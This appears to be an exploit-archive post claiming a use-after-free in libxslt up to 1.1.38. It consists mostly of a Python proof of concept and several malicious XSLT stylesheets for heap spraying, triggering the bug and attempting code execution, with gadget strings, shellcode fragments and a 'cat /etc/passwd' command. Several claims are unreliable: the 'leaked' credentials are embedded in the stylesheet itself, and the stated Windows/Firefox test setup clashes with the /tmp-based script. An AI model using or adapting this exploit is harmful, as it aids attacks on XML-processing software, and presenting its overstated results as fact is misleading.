=============================================================================================================================================
| # Title     : libxslt Key Data Storage 1.1.38 memory corruption                                                                           |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://gitlab.gnome.org/GNOME/libxml2/-/wikis/home                                                                         |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/207871/

[+] Summary : 
             
           The vulnerability occurs due to improper handling of Result Value Trees (RVTs) when evaluating XSLT keys with certain XPath axes:
           Global variables (xsl:variable) are stored as RVTs in a linked list using prev/next pointers
           XSLT keys (xsl:key) using preceding:: axis traverse across RVT boundaries via these pointers
           Memory corruption occurs when RVTs are freed but key tables retain references to their nodes

[+] Affected Version : All versions up to and including 1.1.38

[+] POC : python poc.py

#!/usr/bin/env python3
# libxslt_uaf_exploit.py
# استغلال ثغرة Use-After-Free في libxslt عبر Python lxml

import lxml.etree as ET
import sys
import os
import subprocess
from base64 import b64encode

class LibxsltUAFExploit:
    def __init__(self):
        self.xslt_content = None
        self.xml_content = None
        
    def create_malicious_xslt(self):
        """إنشاء ملف XSLT ضار لاستغلال الثغرة"""
        
        self.xslt_content = '''<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<!-- ========================================= -->
<!-- استغلال Use-After-Free في libxslt -->
<!-- ========================================= -->

<xsl:variable name="SENSITIVE_RVT">
    <credentials>
        <username>admin</username>
        <password>SuperSecret@123!</password>
        <token>Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</token>
        <api_key>AKIAIOSFODNN7EXAMPLE</api_key>
    </credentials>
    <financial>
        <credit_card>4111-1111-1111-1111</credit_card>
        <expiry>12/25</expiry>
        <cvv>123</cvv>
    </financial>
    <memory_blocks>
        <block id="b1">
            <data>AAAAAAAA</data>
            <pointer>0x7f8a1b002000</pointer>
        </block>
        <block id="b2">
            <data>BBBBBBBB</data>
            <pointer>0x7f8a1b002100</pointer>
        </block>
    </memory_blocks>
</xsl:variable>

<xsl:variable name="CONTROL_RVT">
    <control_data>
        <gadgets>
            <gadget>pop rdi; ret</gadget>
            <gadget>system@plt</gadget>
        </gadgets>
        <shellcode>
            <stage1>\\x31\\xc0\\x48\\xbb\\xd1\\x9d\\x96\\x91\\xd0\\x8c\\x97\\xff</stage1>
        </shellcode>
    </control_data>
</xsl:variable>

<!-- مفاتيح لتفعيل الثغرة -->
<xsl:key name="UAF_KEY" match="block" use="preceding::block[1]/@id"/>
<xsl:key name="CRED_KEY" match="credentials/*" use="preceding::username[1]/text()"/>
<xsl:key name="MEM_KEY" match="financial/*" use="preceding::credit_card[1]/text()"/>

<xsl:template match="/">
    <exploitation_result>
        <!-- تفعيل UAF -->
        <uaf_trigger>
            <xsl:for-each select="document('')//xsl:variable[@name='SENSITIVE_RVT']//block">
                <memory_leak>
                    <current_block><xsl:value-of select="@id"/></current_block>
                    <cross_access>
                        <xsl:value-of select="key('UAF_KEY', preceding::block[1]/@id)/@id"/>
                    </cross_access>
                    <leaked_data>
                        <xsl:value-of select="key('UAF_KEY', preceding::block[1]/@id)/data/text()"/>
                    </leaked_data>
                </memory_leak>
            </xsl:for-each>
        </uaf_trigger>
        
        <!-- تسريب بيانات الاعتماد -->
        <credential_leak>
            <xsl:for-each select="document('')//xsl:variable[@name='SENSITIVE_RVT']//username">
                <leaked_cred>
                    <user><xsl:value-of select="text()"/></user>
                    <password><xsl:value-of select="key('CRED_KEY', text())/text()"/></password>
                    <token><xsl:value-of select="key('CRED_KEY', text())[2]/text()"/></token>
                </leaked_cred>
            </xsl:for-each>
        </credential_leak>
        
        <!-- تسريب البيانات المالية -->
        <financial_leak>
            <xsl:for-each select="document('')//xsl:variable[@name='SENSITIVE_RVT']//credit_card">
                <leaked_financial>
                    <card><xsl:value-of select="text()"/></card>
                    <expiry><xsl:value-of select="key('MEM_KEY', text())/text()"/></expiry>
                    <cvv><xsl:value-of select="key('MEM_KEY', text())[2]/text()"/></cvv>
                </leaked_financial>
            </xsl:for-each>
        </financial_leak>
    </exploitation_result>
</xsl:template>

</xsl:stylesheet>'''
        
        with open('/tmp/exploit.xsl', 'w') as f:
            f.write(self.xslt_content)
        print("[+] تم إنشاء ملف XSLT الضار")

    def create_target_xml(self):
        """إنشاء ملف XML هدف"""
        
        self.xml_content = '''<?xml version="1.0"?>
<target_data>
    <application>
        <name>Vulnerable App</name>
        <version>1.0</version>
    </application>
    <environment>
        <os>Linux</os>
        <user>test_user</user>
    </environment>
</target_data>'''
        
        with open('/tmp/target.xml', 'w') as f:
            f.write(self.xml_content)
        print("[+] تم إنشاء ملف XML الهدف")

    def exploit_via_python_lxml(self):
        """استغلال الثغرة عبر lxml مباشرة"""
        
        print("[+] محاولة الاستغلال عبر Python lxml...")
        
        try:
            # تحميل وتحويل XML باستخدام XSLT
            xml_doc = ET.parse('/tmp/target.xml')
            xslt_doc = ET.parse('/tmp/exploit.xsl')
            transform = ET.XSLT(xslt_doc)
            
            # تنفيذ التحويل (تفعيل الثغرة)
            result = transform(xml_doc)
            
            print("[+] نتيجة الاستغلال:")
            print(str(result))
            
        except Exception as e:
            print(f"[-] فشل الاستغلال عبر lxml: {e}")

    def exploit_via_xsltproc(self):
        """استغلال الثغرة عبر xsltproc"""
        
        print("[+] محاولة الاستغلال عبر xsltproc...")
        
        try:
            result = subprocess.run([
                'xsltproc', 
                '/tmp/exploit.xsl', 
                '/tmp/target.xml'
            ], capture_output=True, text=True, timeout=10)
            
            print("[+] stdout:")
            print(result.stdout)
            
            if result.stderr:
                print("[+] stderr (قد يحتوي على معلومات التصحيح):")
                print(result.stderr)
                
        except subprocess.TimeoutExpired:
            print("[-] انتهت مهلة التنفيذ - احتمال تحطم التطبيق")
        except Exception as e:
            print(f"[-] خطأ في التنفيذ: {e}")

    def check_vulnerability(self):
        """فحص إذا كان النظام مصاب"""
        
        print("[+] فحص إصدار libxslt...")
        
        try:
            # فحص إصدار lxml/libxslt
            import lxml
            print(f"[+] إصدار lxml: {lxml.__version__}")
            
            # فحص إذا كان xsltproc مثبت
            result = subprocess.run(['xsltproc', '--version'], 
                                  capture_output=True, text=True)
            if 'libxslt' in result.stderr:
                print("[+] xsltproc مثبت:")
                print(result.stderr)
                return True
            else:
                print("[-] xsltproc غير مثبت")
                return False
                
        except Exception as e:
            print(f"[-] خطأ في الفحص: {e}")
            return False

    def advanced_exploit(self):
        """استغلال متقدم مع تحكم أفضل"""
        
        print("[+] بدء الاستغلال المتقدم...")
        
        # إنشاء استغلال متعدد المراحل
        advanced_xslt = '''<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:variable name="stage1">
    <data>STAGE1_PAYLOAD</data>
    <chunk>CHUNK_A</chunk>
    <chunk>CHUNK_B</chunk>
</xsl:variable>

<xsl:variable name="stage2">
    <data>STAGE2_PAYLOAD</data>
    <chunk>CHUNK_C</chunk>
    <chunk>CHUNK_D</chunk>
</xsl:variable>

<xsl:key name="ADV_KEY" match="chunk" use="preceding::chunk[1]/text()"/>

<xsl:template match="/">
    <advanced_exploit>
        <stage1>
            <xsl:for-each select="document('')//xsl:variable[@name='stage2']//chunk">
                <leak>
                    <xsl:value-of select="key('ADV_KEY', preceding::chunk[1]/text())/text()"/>
                </leak>
            </xsl:for-each>
        </stage1>
        <memory_analysis>
            <uaf>TRIGGERED</uaf>
            <boundary_crossing>CONFIRMED</boundary_crossing>
        </memory_analysis>
    </advanced_exploit>
</xsl:template>

</xsl:stylesheet>'''
        
        with open('/tmp/advanced_exploit.xsl', 'w') as f:
            f.write(advanced_xslt)
            
        try:
            result = subprocess.run([
                'xsltproc', 
                '/tmp/advanced_exploit.xsl', 
                '/tmp/target.xml'
            ], capture_output=True, text=True)
            
            print("[+] نتيجة الاستغلال المتقدم:")
            print(result.stdout)
            
        except Exception as e:
            print(f"[-] فشل الاستغلال المتقدم: {e}")

    def cleanup(self):
        """تنظيف الملفات المؤقتة"""
        
        try:
            files_to_remove = [
                '/tmp/exploit.xsl',
                '/tmp/target.xml', 
                '/tmp/advanced_exploit.xsl'
            ]
            
            for file in files_to_remove:
                if os.path.exists(file):
                    os.remove(file)
                    
            print("[+] تم تنظيف الملفات المؤقتة")
        except Exception as e:
            print(f"[-] خطأ في التنظيف: {e}")

def main():
    exploit = LibxsltUAFExploit()
    
    print("=" * 50)
    print("مستغلة ثغرة libxslt UAF - Python Edition")
    print("=" * 50)
    
    # فحص القابلية للاستغلال
    if not exploit.check_vulnerability():
        print("[-] النظام لا يبدو مصاباً")
        return
    
    try:
        # إنشاء الملفات
        exploit.create_malicious_xslt()
        exploit.create_target_xml()
        
        # محاولات الاستغلال
        exploit.exploit_via_xsltproc()
        print("\n" + "="*30)
        exploit.exploit_via_python_lxml()
        print("\n" + "="*30)
        exploit.advanced_exploit()
        
    except KeyboardInterrupt:
        print("\n[!] تم إيقاف الاستغلال بواسطة المستخدم")
    except Exception as e:
        print(f"[-] خطأ غير متوقع: {e}")
    finally:
        # تنظيف
        exploit.cleanup()

if __name__ == "__main__":
    main()
	
====================================
[+] 1 Setting up memory structures :
====================================
<!-- uaf.xml -->
<?xml version="1.0"?>
<root>
    <node id="target">Important Data</node>
    <node>Other Data</node>
</root>

=======*****=====

<!-- uaf.xsl -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<!-- Global Variable 1 - سيتم إنشاء RVT الأول -->
<xsl:variable name="global1">
    <data>
        <item>value1</item>
        <item>value2</item>
        <item>value3</item>
    </data>
</xsl:variable>

<!-- Global Variable 2 - سيتم إنشاء RVT الثاني -->
<xsl:variable name="global2">
    <container>
        <entry>data1</entry>
        <entry>data2</entry>
        <entry id="vulnerable">Sensitive Information</entry>
    </container>
</xsl:variable>

<!-- المفتاح الذي يستخدم محور preceding -->
<xsl:key name="precedingKey" match="entry" use="preceding::entry[1]/text()"/>

<xsl:template match="/">
    <output>
        <!-- تفعيل تقييم المفاتيح على RVT -->
        <xsl:for-each select="document('')//xsl:variable[@name='global2']//entry">
            <result>
                <xsl:value-of select="key('precedingKey', preceding::entry[1]/text())"/>
            </result>
        </xsl:for-each>
    </output>
</xsl:template>

</xsl:stylesheet>

=========******=================
[+] Manipulating Memory Planning
================================
<!-- exploit.xsl -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:exsl="http://exslt.org/common">

<!-- إنشاء عقد متعددة للتحكم في تخطيط الذاكرة -->
<xsl:variable name="heapSpray">
    <spray>
        <xsl:call-template name="generateSpray">
            <xsl:with-param name="count" select="1000"/>
        </xsl:call-template>
    </spray>
</xsl:variable>

<xsl:template name="generateSpray">
    <xsl:param name="count"/>
    <xsl:if test="$count > 0">
        <chunk size="128"><data><xsl:value-of select="$count"/></data></chunk>
        <xsl:call-template name="generateSpray">
            <xsl:with-param name="count" select="$count - 1"/>
        </xsl:call-template>
    </xsl:if>
</xsl:template>

<!-- RVT الذي سيتم تحريره -->
<xsl:variable name="targetRVT">
    <sensitive>
        <password>Admin123!</password>
        <token>SECRET-TOKEN-ABCD</token>
        <creditcard>4111111111111111</creditcard>
    </sensitive>
</xsl:variable>

<!-- RVT الذي سيحتفظ بالمؤشرات -->
<xsl:variable name="holderRVT">
    <holder>
        <xsl:for-each select="document('')//xsl:variable[@name='targetRVT']//*">
            <reference>
                <xsl:value-of select="name()"/>:<xsl:value-of select="text()"/>
            </reference>
        </xsl:for-each>
    </holder>
</xsl:variable>

<xsl:key name="exploitKey" match="sensitive/*" use="preceding::*[name()='password']"/>

<xsl:template match="/">
    <exploit>
        <!-- تفعيل الثغرة -->
        <xsl:variable name="trigger">
            <xsl:for-each select="document('')//xsl:variable[@name='targetRVT']//token">
                <xsl:value-of select="key('exploitKey', preceding::password/text())"/>
            </xsl:for-each>
        </xsl:variable>
        
        <!-- محاولة الوصول إلى الذاكرة المحررة -->
        <leaked>
            <xsl:copy-of select="document('')//xsl:variable[@name='holderRVT']//reference"/>
        </leaked>
    </exploit>
</xsl:template>

</xsl:stylesheet>

=========******==================
[+] Exploiting the Use-After-Free
=================================
<!-- advanced_exploit.xsl -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:func="http://exslt.org/functions"
                extension-element-prefixes="func">

<!-- دالة لإنشاء كائنات متعددة -->
<func:function name="func:createObjects">
    <xsl:param name="count"/>
    <func:result>
        <objects>
            <xsl:for-each select="(//node())[position() &lt;= $count]">
                <object id="{position()}">
                    <field1>AAAAAAAA</field1>
                    <field2>BBBBBBBB</field2>
                    <field3>CCCCCCCC</field3>
                    <field4>DDDDDDDD</field4>
                </object>
            </xsl:for-each>
        </objects>
    </func:result>
</func:function>

<!-- المتغيرات العالمية التي تتفاعل مع بعضها -->
<xsl:variable name="vulnRVT1" select="func:createObjects(50)"/>
<xsl:variable name="vulnRVT2" select="func:createObjects(50)"/>
<xsl:variable name="vulnRVT3" select="func:createObjects(50)"/>

<!-- مفاتيح متعددة لزيادة فرصة الاستغلال -->
<xsl:key name="key1" match="object" use="preceding::object[1]/@id"/>
<xsl:key name="key2" match="field1" use="preceding::field1[1]/text()"/>
<xsl:key name="key3" match="field2" use="preceding::field2[1]/text()"/>

<xsl:template match="/">
    <result>
        <!-- تفعيل جميع المفاتيح -->
        <phase1>
            <xsl:for-each select="$vulnRVT1//object">
                <x><xsl:value-of select="key('key1', preceding::object[1]/@id)/field1"/></x>
            </xsl:for-each>
        </phase1>
        
        <phase2>
            <xsl:for-each select="$vulnRVT2//field1">
                <y><xsl:value-of select="key('key2', preceding::field1[1]/text())"/></y>
            </xsl:for-each>
        </phase2>
        
        <phase3>
            <xsl:for-each select="$vulnRVT3//field2">
                <z><xsl:value-of select="key('key3', preceding::field2[1]/text())"/></z>
            </xsl:for-each>
        </phase3>
        
        <!-- محاولة تسريب البيانات -->
        <leak_attempt>
            <xsl:copy-of select="$vulnRVT1//object[field1='AAAAAAAA']"/>
            <xsl:copy-of select="$vulnRVT2//field1[.='AAAAAAAA']"/>
            <xsl:copy-of select="$vulnRVT3//field2[.='BBBBBBBB']"/>
        </leak_attempt>
    </result>
</xsl:template>

</xsl:stylesheet>

=========******==================
[+] Exploiting the code
=================================

<!-- code_execution.xsl -->
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:xslt="http://xmlsoft.org/XSLT/">

<!-- استغلال لتحقيق arbitrary write -->
<xsl:variable name="gadgetRVT">
    <gadgets>
        <vtable ptr="0x41414141"/>
        <function pointer="0x42424242"/>
        <shellcode>bin/sh</shellcode>
        <rop>0x43434343</rop>
    </gadgets>
</xsl:variable>

<xsl:variable name="overflowRVT">
    <overflow>
        <buffer size="256">
            <xsl:text>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</xsl:text>
        </buffer>
        <target>BEFORE_FREE</target>
    </overflow>
</xsl:variable>

<xsl:key name="hijackKey" match="buffer" use="preceding::target[1]/text()"/>

<xsl:template match="/">
    <exploit>
        <!-- Trigger UAF -->
        <trigger>
            <xsl:for-each select="$overflowRVT//buffer">
                <xsl:value-of select="key('hijackKey', preceding::target[1]/text())"/>
            </xsl:for-each>
        </trigger>
        
        <!-- بعد التحرير، الذاكرة يمكن إعادة استخدامها -->
        <reuse>
            <!-- محاولة إعادة ملء الذاكرة المحررة ببياناتنا -->
            <xsl:variable name="reuseRVT">
                <hijacked>
                    <fake_vtable>0x58585858</fake_vtable>
                    <fake_function>system</fake_function>
                    <command>cat /etc/passwd</command>
                </hijacked>
            </xsl:variable>
            
            <xsl:copy-of select="$reuseRVT"/>
        </reuse>
    </exploit>
</xsl:template>

</xsl:stylesheet>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================